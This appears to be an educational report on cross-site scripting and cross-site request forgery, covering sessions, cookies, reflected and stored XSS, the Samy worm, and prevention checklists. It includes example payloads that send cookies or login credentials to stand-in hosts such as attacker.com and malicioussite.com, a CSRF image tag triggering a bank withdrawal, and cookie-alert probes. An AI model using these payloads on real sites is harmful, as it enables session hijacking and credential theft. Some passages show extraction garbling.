Vous êtes sur la page 1sur 12


Websites today are more complex than ever, containing a lot of dynamic content making the experience for the user more enjoyable. Dynamic content is achieved through the use of web applications which can deliver different output to a user depending on their settings and needs. Dynamic websites suffer from a threat that static websites don't, called "Cross Site Scripting" (or XSS dubbed by other security professionals). Currently small informational tidbits about Cross Site Scripting holes exist but none really explain them to an average person or administrator.

1.1.What Is Cross Site Scripting or XSS?

Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, instant message, or simply just reading a web board or email message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website. Many popular guestbook and forum programs allow users to submit posts with html and JavaScript embedded in them. If for example I was logged in as "John" and read a message by "Joe" that contained malicious JavaScript in it, then it may be possible for "Joe" to hijack my session just by reading his bulletin board post. Further details on how attacks like this are accomplished via "cookie theft" are explained in detail below.

The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including Java, ActiveX, VBScript, Flash, or even pure HTML), causing some confusion to newcomers to the field of information security.


XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter,Facebook,MySpace, and Orkut. In recent years, cross-site scripting flaws surpassed buffer overflows to become the most common publicly-reported security vulnerability,with some researchers viewing as many as 68% of websites as likely open to XSS attacks.

2.What is a Session?
A session is a semi-permanent interactive information interchange, also known as a dialogue, a conversation or a meeting, between two or more communicating devices, or between a computer and user. A session is set up or established at a certain point in time, and torn down at a later point in time. An established communication session may involve more than one message in each direction. A session is typically, but not always, stateful, meaning that at least one of the communicating parts needs to save information about the session history in order to be able to communicate, as opposed to stateless communication, where the communication consists of independent requests with responses.

3.What is a Cookie?
A cookie, also known as a web cookie, browser cookie, and HTTP cookie, is a piece of text stored on a user's computer by their web browser. A cookie can be used for authentication, storing site preferences, shopping cart contents, the identifier for a serverbased session, or anything else that can be accomplished through storing text data. A cookie consists of one or more name-value pairs containing bits of information, which may be encrypted for information privacy and data security purposes. The cookie is sent as a field in the header of the HTTP response by a web server to a web browser and then sent back unchanged by the browser each time it accesses that server. Cookies may be set by the server with or without an expiration date. Cookies without an expiration date exist until the browser terminates, while cookies with an expiration date may be stored by the browser until the expiration date passes. Users may also manually delete cookies in order to save space or to avoid privacy issues. As text, cookies are not executable. Because they are not executed, they cannot replicate themselves and are not viruses. However, due to the browser mechanism to set and read cookies, they can be used as spyware. Anti-spyware products may warn users about


some cookies because cookies can be used to track computer activitya privacy concern, later causing possible malware. Most modern browsers allow users to decide whether to accept cookies, and the time frame to keep them, but rejecting cookies makes some websites unusable.

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by serverside code flaws) and DOM-based (in client-side code).

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request.Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to mark-up injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed accurately on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue. At first blush, this does not appear to be a serious problem: by submitting a malicious input to the web site, the user would only be able to compromise their own security context that is, their own browser cookies, cache objects, and so forth. It is important to realize, however, that a third-party attacker may easily place hidden frames or deceptive links on unrelated sites and cause victims' browsers to navigate to URLs on the vulnerable site automaticallyoften completely in the backgroundand in such a case, the attacker can intrude into the security context that rightfully belonged to the victim.

The persistent (or st red) XSS vul erabilit i a more devastati

variant of a cross-

site scri ting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTM escaping. A classic example of this is with online message boards where users are allowed to post HTM formatted messages for other users to read. Persistent XSS can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of a client-side worm. The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, etc.) that can be controlled by an attacker could become an injection vector.

5.Cross-site scri ting cookie theft:

Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.

Scripting languages such as JavaScript and JScript are usually allowed to access cookie values and have some means to send arbitrary values to arbitrary servers on the Internet. These facts are used in combination with sites allowing users to post HTM content that other users can see. As an example, an attacker may post a message on www.example.com with the following link:




<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+ escape (document.cookie); return false;">Click here!</a>

When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document.cookie with the list of cookies of the user that are active for the page. As a result, this list of cookies is sent to the

server. If the attackers posting is on , secure cookies will also be sent to attacker.com in


plain text. Cross-site scripting is a constant threat, as there are always some crackers trying to find a way of slipping in script tags to websites. It is the responsibility of website development to filter out such malicious code. In the mean time, such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client side script, and therefore the attacker will not be able to gather these cookies.

5.1.Cross-site scripting just do it:

If an attacker was able to insert a piece of script to a page on www.example.com , and a victims browser was able to execute the script, the script could simply do the attack. This attack would use victims browser to send HTTP requests to servers directly, therefore, victims browser would submit all relevant cookies, including HttpOnly cookies, as well as Secure cookies if the script request is on HTTPS. For example, on MySpace, Samy posted a short message Samy is my hero on his profile, with a hidden script to send Samy friend request and then post the same message on victims profile. A user reading Samys profile would send Samy friend request and post the same message on this persons profile. Then, the third person reading second persons profile would do the same. Pretty soon, this Samy worm became one of the fastest spreading viruses of all time.


5.2.Cross-site scripting proxy request:

In older version of browsers, there were security holes allowing attackers to script a proxy request by using XMLHttpRequest. For example, a victim is reading an attackers posting on www.example.com , and the attackers script is executed in victims browser, the script generates a request to www.example.com with proxy server attacker.com . Since the request is for www.example.com , all example.com cookies will be sent along with the request, but routed through attackers proxy server, hence, the attacker can harvest victims cookies. This attack would not work for Secure cookie, since Secure cookies go with HTTPS connections, and its protocol dictates end-to-end encryption, i.e., the information is encrypted on users browser and decrypted on the destination server www.example.com , so the proxy servers would only see encrypted bits and bytes.

6.Cross Site Request Forgery:

Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser. The attack works by including a link or script in a page that accesses a site to which the user is known to have been authenticated. The names in examples that follow are taken from the cast of characters commonly used in computer security. For example, one user, Bob, might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.


A cross-site request forgery is a confused deputy attack against a Web browser. The deputy in the bank example is Bob's Web browser which is confused into misusing Bob's authority at Mallory's direction. The following characteristics are common to CSRF:
y y y y

Involve sites that rely on a user's identity Exploit the site's trust in that identity Trick the user's browser into sending HTTP requests to a target site Involve HTTP requests that have side effects At risk are web applications that perform actions based on input from trusted and

authenticated users without requiring the user to authorize the specific action. A user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request to a site that trusts the user and thereby causes an unwanted action. CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript.

7.XSS Vulnerabilities:
7.1.A banking malady:
Suppose that an attacker wants to gather info on a user of a fictional, popular banking Web site, www.simplebank.com. To log into the Web site, the attacker first enters a test user ID ("test") and password ("test"). When the resulting error page comes back with a message that says that the user ID and password combination is wrong, the hacker finds himself in an ideal situation for inserting malicious code into the Web page. How?

He first enters the following into the ID text box:<script>alert('Test')</sc ript>.

He submits the form and then sees this JavaScript alert message: "TO BE DONE." Now he knows that the site is prone to an XSS-style attack.

He then might introduce scripts like those mentioned below to the URL that redirects the submitted user information to malicioussite.com.


<form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.v alue'+':'+ document.forms(1).password.value;" </form>

This code basically passes the user ID and password information of any user logging into the Web site along to the Web site of the attacker.

Now that the script to hack the user ID and password is ready, the attacker sends emails and posts with attractive offers to banking Web site users employing this link.

Prompted by the attractive offers, users might click on the link and log on to the banking Web site. The malicious script introduced by the attacker is executed by the browser and the data is passed to the hacker's Web site. The rest is a cakewalk for the hacker to log on to the banking Web site with the victim's credentials.

This situation can occur when: 1. A Web server does not take adequate steps to ensure that the properly encoded pages are generated. 2. An input is not suitably validated.

7.2.Online forums and message boards:

The most commonly attacked avenues on the Web are search boxes and online forums. An attacker inserts malicious code between scripting tags that the Web page accepts and interprets, using FORM or APPLET tags, depending on the page used. Inserted malicious code can do all sorts of harm by stealing session information or cookies. Vulnerability of this sort is prevalent given that a Web designer needs to have knowledge of many languages and technologies (to protect against attacks). Many languages -- CGI, JavaScript, ASP, Perl, even HTML tags -- are suitable as a delivery vehicle for such attacks.

7.3.Links attached to messages and e-mail:

An attacker can send an e-mail about a banking Web site to a user. Suppose the e-mail contains a link with a malicious script embedded into the URL. The user may be prompted to


click on the link and log on to the Web site, whereby the attacker can seize the user's log on information. The same is true on a dynamically generated page if a link has malicious code in it. Considering the example of a URL that might be a part of the page:
http://www.test.com/action.pl?param=<script>alert(document.cookie)</script >

If the attacker has the application display a set of HTML, trouble may creep in. Both the IMG and IFRAME tags allow for a new URL to load when HTML is displayed.

7.4.Search engines:
Search engines that echo the search keyword that was entered are also vulnerable to such attacks. This is because malicious code can be entered as a part of the keyword search input that is executed when the user submits the search. Dangers can include accessing undesirable or private regions of the Web site. For example, the below code shows a code snippet that executes code on the target computer. The attacker just inserts HTML in this fashion.
<iframe src="http://www.mysearchengine.com/search.pl?text=<script>alert(document.co okie)</script>">

7.5.Error messages:
Some web sites might echo the input along with an error message generated by a business validation. If the input string had some maliciously designed script, the script is executed. Unwelcome effects might include compromise of confidential information and creation of requests that can be mistaken for those from a user.

7.6.Setup accounts:
When a user submits a form during e-mail account setup or during submission of a form with data in it, the Web application might show the same information after accepting the information as entered. The input content entered can contain such malicious information that


may be executed by the browser. This can lead to leaking of critical information from the session and might expose private avenues of the Web server.


and IFRAME tags in HTML allow for a new URL to load during the display of

HTML. Certain worms use the load-on-view feature provided by the IFRAME tag to contaminate systems running browsers. These are all vulnerabilities when it comes to an XSS-style attack.

8.Prevention Techniques:
Although web applications development has efficiently evolved since the firstcases of XSS attacks were reported, such attacks are still being exploited dayafter day. Since late 90s, attackers have managed to continue exploiting XSSattacks across Internet web applications although they were protected by traditionalnetwork security techniques, like firewalls and cryptography-based mechanisms.The use of specific secure development techniques can help to mitigatethe problem. However, they are not always enough. For instance, the use of securecoding practices and/or secure programmingmodels are often limited to traditional applications, and might not be useful whenaddressing the web paradigm. Furthermore, general mechanisms for input validationare often focused on numeric information or bounding checking, while the prevention of XSS attacks should alsoaddress validation of input strings.This situation shows the inadequacy of using basic security recommendationsas single measures to guarantee the security of web applications, and leadsto the necessity of additional security mechanisms to cope with XSS attackswhen those basic security measures have been evaded.

8.1.A user's protection:

A user can help reduce his susceptibility to an XSS-style attack in five significant ways: 1. Disable scripting when it is not required. 2. Do not trust links to other sites on e-mail or message boards. They may contain malicious code with damaging potential.


3. Do not follow links from sites that lead to security-sensitive pages involving personal or business information unless you specifically trust them. 4. Access any site involving sensitive information directly through its address and not through any third-party sites. 5. Get a list of attacks and the sites and boards they happened on and be careful if you need to visit one of them. 8.2.Checklist of ways for webmasters and developers to preventXSSattacks:

Guarantee that the pages in the Web site return user inputs only after validating them for any malicious code.

Filter Meta characters in the input while validating it. (This can be a major checkpoint to eliminate XSS attacks. Although it doesn't eliminate all XSS problems, it can alert Web maintainers to inadequacies in a site's security.)

Do not completely trust Web sites that use HTTPS (Secure Sockets Layer) when it comes to XSS; HTTPS ensures secure connections, but processing of the data entered by the user is internal to the application. If the application has XSS holes, the attacker may send a malicious script that can still be executed by the application and lead to XSS intrusions.

Convert all non-alphanumeric characters to HTML character entities before displaying the user input in search engines and forums.

Use testing tools extensively during the design phase to eliminate such XSS holes in the application before it goes into use. (A best practices guide that stresses this is the philosophy of Extreme Programming.)

Develop some standard or signing scripts with private and public keys that actually check to ascertain that the script introduced is really authenticated. (To implement things on such a large scale, the Internet rules have to be standardized to derive a common methodology with input from major players such as W3C.)

By now we all understand that Cross site scripting is not as trivial a 'security' hole as it appears on the surface as all of the simple demos people post as examples. Identifying Cross Site Scripting is the easy part. Foreseeing its possibilities and knowing how to use it to impact a user base is the hard part, and is the part that is not widely


discussed. With XSS so widely written about and so misunderstood alot of people have walked away with the false conclusion that it is an annoyance and not a threat. We might not lose our server to XSS attacks, it may not DOS your network, but we mightlose our users, and you might be the reason our clients lost their credit card numbers, fell victim to identity theft or had their accounts tampered with.

y y y y y

http://www.ibm.com/developerworks/ibm/library/wa-secxss/index.html http://ha.ckers.org/xss.html http://www.cgisecurity.com/xss-faq.html http://en.wikipedia.org/wiki/Cross-site_scripting http://en.wikipedia.org/wiki/Cross-site_request_forgery